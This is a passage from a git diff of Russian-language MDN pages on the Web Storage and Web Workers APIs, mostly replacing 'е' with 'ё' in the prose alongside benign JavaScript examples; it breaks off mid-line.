разные опции, страница мгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите ее снова, ваши настройки восстановились. </p> +<p>Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. На <a href="https://mdn.github.io/dom-examples/web-storage/">лендинге</a> нашего примера вы найдёте элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите её снова, ваши настройки восстановились. </p> <p>Также, мы сделали <a href="http://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a>, которая выводит информацию о хранилище, каждый раз когда срабатывает событие {{domxref("StorageEvent")}}. Загрузите эту страницу в другой вкладке браузера, затем вернитесь на лендинг и поменяйте значения цвета, шрифта или изображения и понаблюдайте, как меняется выводимая информация.</p> @@ -120,7 +120,7 @@ translation_of: Web/API/Web_Storage_API </table> </div> -<p>У каждого браузера свои объемы localStorage и sessionStorage. Здесь об <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ограничениях размеров хранилищ для разных браузеров</a>.</p> +<p>У каждого браузера свои объёмы localStorage и sessionStorage. Здесь об <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ограничениях размеров хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Замечание: </strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в cache директории, которая время от времени подчищается системой, в основном когда кончается место.</p> @@ -128,11 +128,11 @@ translation_of: Web/API/Web_Storage_API <h2 id="Приватный_режимИнкогнито">Приватный режим/Инкогнито</h2> -<p>Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остается после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.</p> +<p>Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остаётся после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.</p> <p>Многие браузеры выбрали стратегию, когда API хранилища доступно и кажется полностью функциональным, с одним большим отличием - все данные хранилища стираются после закрытия браузера. Для этих браузеров есть ещё другие интерпретации того, что следует делать с хранимыми данными (от обычного режима браузера). Следует ли им быть доступными в приватном режиме? Затем, есть несколько браузеров, особенно Safari, которые выбрали решение, в котором хранилище доступно, но пустое и имеет квоту 0 байт, фактически, делая невозможной запись туда данных.</p> -<p>Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на <a href="https://blog.whatwg.org/tag/localstorage">этот пост блога WHATWG</a>, специально посвященный этой теме.</p> +<p>Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на <a href="https://blog.whatwg.org/tag/localstorage">этот пост блога WHATWG</a>, специально посвящённый этой теме.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html index 2048019f7c..882f40200d 100644 --- a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html +++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -23,7 +23,7 @@ localStorage.setItem('colorSetting', '#a4509b'); <li><code>(localStorage)</code> делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. </li> </ul> -<p>Оба механизма доступны через {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект <code>Window</code> выполняет объекты <code>WindowLocalStorage</code>и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code>и <code>sessionStorage</code>) — вызов одного из них создает экземпляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать <code>sessionStorage</code> и <code>localStorage поэтому они используются и управляются раздельно </code></p> +<p>Оба механизма доступны через {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект <code>Window</code> выполняет объекты <code>WindowLocalStorage</code>и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code>и <code>sessionStorage</code>) — вызов одного из них создаёт экземпляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать <code>sessionStorage</code> и <code>localStorage поэтому они используются и управляются раздельно </code></p> <p>Так, например, изначально вызов <code>localStorage</code> в документе возвращает {{domxref("Storage")}} объект; вызов <code>sessionStorage</code> в документе возвращает другой {{domxref("Storage")}} объект. Оба объекта могут управляться одинаково, но отдельно.</p> @@ -33,7 +33,7 @@ localStorage.setItem('colorSetting', '#a4509b'); <h3 id="Проверка_на_наличие">Проверка на наличие</h3> -<p>Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это еще не дает гарантии, что оно доступно, т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. </p> +<p>Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это ещё не даёт гарантии, что оно доступно, т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. </p> <p>Функция, которая проверяет браузеры на поддержку и доступность localStorage:</p> @@ -65,19 +65,19 @@ else { <p>Чтобы проиллюстрировать типичное использование Web storage, мы создали простой пример, назвав его <strong>Web Storage Demo. </strong>На <a href="https://mdn.github.io/dom-examples/web-storage/">целевой странице</a> представлены элементы управления, которые можно использовать для настройки цвета, шрифта и декоративного изображения:</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете ее снова спустя некоторое время, ваши параметры сохраняются.</p> +<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете её снова спустя некоторое время, ваши параметры сохраняются.</p> -<p>Мы также предоставили <a href="https://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a> - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновленную информацию о хранилище.</p> +<p>Мы также предоставили <a href="https://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a> - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновлённую информацию о хранилище.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/9687/event-output.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;"></p> <div class="note"> -<p><strong>Примечание</strong>: Помимо просмотра примеров выше, используя приведенные ссылки выше , вы можете также <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">просмотреть исходный код</a>.</p> +<p><strong>Примечание</strong>: Помимо просмотра примеров выше, используя приведённые ссылки выше , вы можете также <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">просмотреть исходный код</a>.</p> </div> <h2 id="Проверка_на_заполненность_хранилища">Проверка на заполненность хранилища</h2> -<p>Начнем с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)</p> +<p>Начнём с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)</p> <pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) { populateStorage(); @@ -86,7 +86,7 @@ else { } </pre> -<p>Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем <code>populateStorage(), чтобы добавить значение по умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохраненными значениями.</code><br> +<p>Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем <code>populateStorage(), чтобы добавить значение по умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохранёнными значениями.</code><br> <strong>Примечание</strong>: Вы можете также использовать {{domxref("Storage.length")}} для проверки storage object.</p> <h2 id="Получение_данных_из_Storage">Получение данных из Storage</h2> @@ -147,7 +147,7 @@ imageForm.onchange = populateStorage;</pre> <h2 id="Удаление_записанных_данных">Удаление записанных данных</h2> -<p>Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дема, но они очень простые, чтобы добавить их в проект:</p> +<p>Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дёма, но они очень простые, чтобы добавить их в проект:</p> <ul> <li>{{domxref("Storage.removeItem()")}} принимает единственный аргумент - ключ элемента данных, который вы хотите удалить - и удаляет его из объекта хранения для этого домена. </li> diff --git a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html index e53a1144ba..c6e9737833 100644 --- a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html +++ b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -3,7 +3,7 @@ title: Алгоритм структурированного клонирова slug: Web/API/Web_Workers_API/Structured_clone_algorithm translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm --- -<p>Алгоритм структурированного клонирования — это новый алгоритм, <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">определенный спецификацией HTML5</a> для сериализации комплексных JavaScript объектов. Он более функционален, чем <a href="/en/JSON" title="en/JSON">JSON</a> в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.</p> +<p>Алгоритм структурированного клонирования — это новый алгоритм, <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">определённый спецификацией HTML5</a> для сериализации комплексных JavaScript объектов. Он более функционален, чем <a href="/en/JSON" title="en/JSON">JSON</a> в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.</p> <p>Алгоритм, по существу, перебирает все поля оригинального объекта, дублируя значения каждого поля в новый объект. Если поле представляет из себя объект с собственными полями, то эти дочерние поля также перебираются рекурсивно, пока каждое поле и все дочерние поля не будут продублированы в новый объект.</p> @@ -107,7 +107,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm <h2 id="Другой_вариант_вложенное_копирование">Другой вариант: вложенное копирование</h2> -<p>Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи), вы должны использовать другой подход. Ниже приведен возможный пример.</p> +<p>Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи), вы должны использовать другой подход. Ниже приведён возможный пример.</p> <pre class="brush: js">function clone(objectToBeCloned) { // Basis. @@ -142,7 +142,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm <div class="note"><strong> Note:</strong> Этот алгоритм реализован только для <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"><code>RegExp</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a>, и <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> специальных объектов. Вы можете реализовать другие условия, удовлетворяющие вашим потребностям.</div> -<h2 id="Еще_по_теме">Еще по теме</h2> +<h2 id="Ещё_по_теме">Ещё по теме</h2> <ul> <li><a class="external" href="http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">HTML5 Specification: Safe passing of structured data</a></li> diff --git a/files/ru/web/api/web_workers_api/using_web_workers/index.html b/files/ru/web/api/web_workers_api/using_web_workers/index.html index 9767a15c43..e54339bd17 100644 --- a/files/ru/web/api/web_workers_api/using_web_workers/index.html +++ b/files/ru/web/api/web_workers_api/using_web_workers/index.html @@ -9,11 +9,11 @@ original_slug: DOM/Using_web_workers --- <div>{{DefaultAPISidebar("Web Workers API")}}</div> -<p>Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя <code><a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">XMLHttpRequest</a></code> (хотя атрибуты <code>responseXML</code> и <code>channel</code> всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот). Эта статья дает детальную инструкцию по использованию Web Workers.</p> +<p>Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя <code><a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">XMLHttpRequest</a></code> (хотя атрибуты <code>responseXML</code> и <code>channel</code> всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот). Эта статья даёт детальную инструкцию по использованию Web Workers.</p> <h2 id="Web_Workers_API">Web Workers API</h2> -<p>Worker - это объект, создаваемый конструктором (например, {{domxref("Worker.Worker", "Worker()")}}) и запускающий именной JavaScript файл — этот файл содержит код, который будет выполнен в потоке Worker'а; объекты же Workers запускаются в другом глобальном контексте, отличающемся от текущего, - {{domxref("window")}}. Поэтому использование переменной {{domxref("window")}} для получения текущего глобального контекста (вместо {{domxref("window.self","self")}}) внутри {{domxref("Worker")}} вернет ошибку.</p> +<p>Worker - это объект, создаваемый конструктором (например, {{domxref("Worker.Worker", "Worker()")}}) и запускающий именной JavaScript файл — этот файл содержит код, который будет выполнен в потоке Worker'а; объекты же Workers запускаются в другом глобальном контексте, отличающемся от текущего, - {{domxref("window")}}. Поэтому использование переменной {{domxref("window")}} для получения текущего глобального контекста (вместо {{domxref("window.self","self")}}) внутри {{domxref("Worker")}} вернёт ошибку.</p> <p>Контекст Worker'а представлен объектом {{domxref("DedicatedWorkerGlobalScope")}} в случае выделенных Workers (обычные Workers используются одним скриптом; совместные Workers используют объект {{domxref("SharedWorkerGlobalScope")}}). Выделенный Worker доступен только из скрипта-родителя, в то время как совместные Workers могут быть доступны из нескольких сценариев.</p> @@ -29,7 +29,7 @@ original_slug: DOM/Using_web_workers <h2 id="Выделенные_Workers">Выделенные Workers</h2> -<p>Как уже упоминалось выше, выделенный Worker доступен только для скрипта, который его вызвал. В этом разделе речь пойдет о JavaScript, который можно найти в нашем <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">основном примере выделенного Worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">запустить скрипт</a>): этот пример позволяет ввести два числа для умножения. Эти числа отправляются в Worker, перемножаются, а результат возвращается на страницу и отображается.</p> +<p>Как уже упоминалось выше, выделенный Worker доступен только для скрипта, который его вызвал. В этом разделе речь пойдёт о JavaScript, который можно найти в нашем <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">основном примере выделенного Worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">запустить скрипт</a>): этот пример позволяет ввести два числа для умножения. Эти числа отправляются в Worker, перемножаются, а результат возвращается на страницу и отображается.</p> <p>Этот пример достаточно тривиален, но для ознакомления с базовыми концепциями worker-ов мы решили его упростить. Более продвинутые детали описаны далее в статье.</p> @@ -66,7 +66,7 @@ second.onchange = function() { console.log('Message posted to worker'); }</pre> -<p>В приведенном фрагменте кода мы имеем два {{htmlelement("input")}} элемента, представленных переменными <code>first</code> и <code>second</code>; когда значение любой из переменных изменяется,<code> myWorker.postMessage([first.value,second.value])</code> используется для отправки обоих значений, представленных в виде массива, в worker. Посредством аргумента <code>message</code> возможна передача практически любых данных в worker.</p> +<p>В приведённом фрагменте кода мы имеем два {{htmlelement("input")}} элемента, представленных переменными <code>first</code> и <code>second</code>; когда значение любой из переменных изменяется,<code> myWorker.postMessage([first.value,second.value])</code> используется для отправки обоих значений, представленных в виде массива, в worker. Посредством аргумента <code>message</code> возможна передача практически любых данных в worker.</p> <p>Внутри worker-a мы можем обрабатывать сообщения и отвечать на них при помощи добавления обработчика события <code>onmessage</code> подобным образом (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>):</p> @@ -90,7 +90,7 @@ second.onchange = function() { <p class="note"><strong>Заметка</strong>: Обратите внимание, что <font face="consolas, Liberation Mono, courier, monospace"><code>onmessage()</code> и <code>postmessage()</code> должны вызываться из экземпляра Worker в главном потоке, но не в потоке worker-а. Это связано с тем, что внутри потока worker-а, worker выступает в качестве глобального объекта.</font></p> -<p class="note"><strong>Заметка</strong>: При передаче сообщения между основным потоком и потоком worker-а, оно копируется или "передается" (перемещается), не делится между потоками. Читайте {{anch("Transferring data to and from workers: further details")}} для более подробного объяснения.</p> +<p class="note"><strong>Заметка</strong>: При передаче сообщения между основным потоком и потоком worker-а, оно копируется или "передаётся" (перемещается), не делится между потоками. Читайте {{anch("Transferring data to and from workers: further details")}} для более подробного объяснения.</p> <h3 id="Завершение_работы_worker-а">Завершение работы worker-а</h3> @@ -123,7 +123,7 @@ second.onchange = function() { <h3 id="Импорт_скриптов_и_библиотек">Импорт скриптов и библиотек</h3> -<p>Worker потоки имеют доступ к глобальной функции, <code>importScripts()</code>, которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведенные примеры верны:</p> +<p>Worker потоки имеют доступ к глобальной функции, <code>importScripts()</code>, которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведённые примеры верны:</p> <pre class="brush: js notranslate">importScripts(); /* imports nothing */ importScripts('foo.js'); /* imports just "foo.js" */ @@ -132,13 +132,13 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Браузер загружает каждый указанный скрипт и исполняет его. Любые глобальные объекты, создаваемые каждым скриптом могут быть использованы в worker'е. Если скрипт не удалось загрузить, будет брошена ошибка <code>NETWORK_ERROR</code>, и последующий код не будет исполнен. Тем не менее код, исполненный ранее (включая отложенный при помощи {{domxref("window.setTimeout()")}}) останется функционален. Объявления функций идущие <strong>после</strong> вызова метода <code>importScripts()</code> также будут доступны, т.к. объявления функций всегда обрабатываются перед остальным кодом.</p> -<div class="note"><strong>Заметка</strong>: Скрипты могут быть загружены в произвольном порядке, но их исполнение будет в том порядке, в котором имена файлов были переданы в <code>importScripts()</code>. Функция выполняется синхронно; <code>importScripts()</code> не вернет исполнение, пока все скрипты не будут загружены и исполнены.</div> +<div class="note"><strong>Заметка</strong>: Скрипты могут быть загружены в произвольном порядке, но их исполнение будет в том порядке, в котором имена файлов были переданы в <code>importScripts()</code>. Функция выполняется синхронно; <code>importScripts()</code> не вернёт исполнение, пока все скрипты не будут загружены и исполнены.</div> <h2 id="Разделяемые_worker-ы_Shared_workers">Разделяемые worker-ы (Shared workers)</h2> <p>Разделяемый worker доступен нескольким разным скриптам — даже если они находятся в разных окнах, фреймах или даже worker-ах. В этом разделе мы обсудим JavaScript, который можно найти в нашем <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">базовом примере разделяемых worker-ов</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">запустить разделяемый worker</a>): Он очень похож на базовый пример выделенных worker-ов, за исключением двух функций, которые доступны из разных скриптовых файлов: <em>умножение двух чисел</em> или <em>возведение числа в степень.</em> Оба скрипта используют один и тот же worker для необходимых вычислений.</p> -<p>Здесь мы сосредоточимся на разнице между выделенными и разделенными worker-ами. Обратите внимание, что в данном примере есть две HTML страницы с JavaScript кодом, которые используют один и тот же файл worker-а.</p> +<p>Здесь мы сосредоточимся на разнице между выделенными и разделёнными worker-ами. Обратите внимание, что в данном примере есть две HTML страницы с JavaScript кодом, которые используют один и тот же файл worker-а.</p> <div class="note"> <p><strong>Заметка</strong>: Если разделяемый worker может быть доступен из нескольких контекстов просмотра, то все они должны иметь одно и то же происхождение (одни и те же протокол, хост и порт).</p> @@ -168,7 +168,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <h3 id="Передача_сообщений_виз_разделяемого_worker-а">Передача сообщений в/из разделяемого worker-а</h3> -<p>Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод <code>postMessage()</code> должен вызываться из объекта <code>port</code> (еще раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> +<p>Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод <code>postMessage()</code> должен вызываться из объекта <code>port</code> (ещё раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> <pre class="brush: js notranslate">squareNumber.onchange = function() { myWorker.port.postMessage([squareNumber.value,squareNumber.value]); @@ -190,9 +190,9 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Мы используем атрибут события <code>ports</code>, чтобы получить порт и сохранить его в переменной.</p> -<p>Второй этап — это обработчик события <code>message</code> на сохраненном порту. Он нужен для подсчета и вывода результата вычисления в основной поток. Установка обработчика <code>message</code> в потоке worker-а также открывает подключение к родительскому потоку, поэтому вызов на <code>port.start()</code> на самом деле не нужен (см. код обработчика <code>onconnect</code>).</p> +<p>Второй этап — это обработчик события <code>message</code> на сохранённом порту. Он нужен для подсчёта и вывода результата вычисления в основной поток. Установка обработчика <code>message</code> в потоке worker-а также открывает подключение к родительскому потоку, поэтому вызов на <code>port.start()</code> на самом деле не нужен (см. код обработчика <code>onconnect</code>).</p> -<p>Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (еще раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> +<p>Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (ещё раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> <pre class="brush: js notranslate">myWorker.port.onmessage = function(e) { result2.textContent = e.data[0]; @@ -209,7 +209,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <h2 id="Передача_данных_в_и_из_worker-ов_другие_детали">Передача данных в и из worker-ов: другие детали</h2> -<p>Передача данных между главной страницей и worker-ом происходит путем копирования, а не передачи по ссылке. Объекты сериализуются при передаче и затем десериализуются на другом конце. Страница и worker не используют совместно одни и те же экземпляры, для каждого создается свой. Большинство браузеров реализуют это структурированным клонированием (<a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a>).</p> +<p>Передача данных между главной страницей и worker-ом происходит путём копирования, а не передачи по ссылке. Объекты сериализуются при передаче и затем десериализуются на другом конце. Страница и worker не используют совместно одни и те же экземпляры, для каждого создаётся свой. Большинство браузеров реализуют это структурированным клонированием (<a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a>).</p> <p>Для иллюстрации этого мы создадим функцию <code>emulateMessage()</code>, которая будет имитировать поведение значения, которое клонируется, но не используется совместно при переходе от worker-а к главной странице или наоборот.</p> @@ -251,7 +251,7 @@ var example5 = new Animal("Cat", 3); alert(example5.constructor); // Animal alert(emulateMessage(example5).constructor); // Object</pre> -<p>Значения, которые клонируются и совместно не используются, называются сообщениями. Как вы, возможно, знаете, сообщения могут быть отправлены в главную страницу и из нее, используя <code>postMessage()</code>, и {{domxref("MessageEvent.data", "data")}}, содержа данные, передаваемые из worker-а.</p> +<p>Значения, которые клонируются и совместно не используются, называются сообщениями. Как вы, возможно, знаете, сообщения могут быть отправлены в главную страницу и из неё, используя <code>postMessage()</code>, и {{domxref("MessageEvent.data", "data")}}, содержа данные, передаваемые из worker-а.</p> <p><strong>example.html</strong>: (главная страница):</p> @@ -279,7 +279,7 @@ onmessage = function (oEvent) { <p>Если вам нужно передать сложные данные и вызвать множество различных функций как на главной странице, так и в worker-е, вы можете создать следующую систему.</p> -<p>В первую очередь мы создаем класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.</p> +<p>В первую очередь мы создаём класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.</p> <pre class="brush: js notranslate"><code>function QueryableWorker(url, defaultListener, onError) { var instance = this, @@ -516,7 +516,7 @@ onmessage = function(oEvent) { <h3 id="Передача_данных_с_помощью_передачи_владения_передаваемые_объекты">Передача данных с помощью передачи владения (передаваемые объекты)</h3> -<p>Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определенных типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст. Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у, исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования. Его содержание (в буквальном смысле) переносится в рабочий контекст.</p> +<p>Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определённых типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст. Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у, исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования. Его содержание (в буквальном смысле) переносится в рабочий контекст.</p> <pre class="brush: js notranslate">// Create a 32MB "file" and fill it. var uInt8Array = new Uint8Array(1024*1024*32); // 32MB @@ -533,7 +533,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <h2 id="Встроенные_worker-ы">Встроенные worker-ы</h2> -<p>Не существует утвержденного способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута <code>src</code> и атрибута <code>type</code>, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:</p> +<p>Не существует утверждённого способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута <code>src</code> и атрибута <code>type</code>, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:</p> <pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> @@ -543,7 +543,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/js-worker<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="script token"><span class="language-javascript token"> <span class="comment 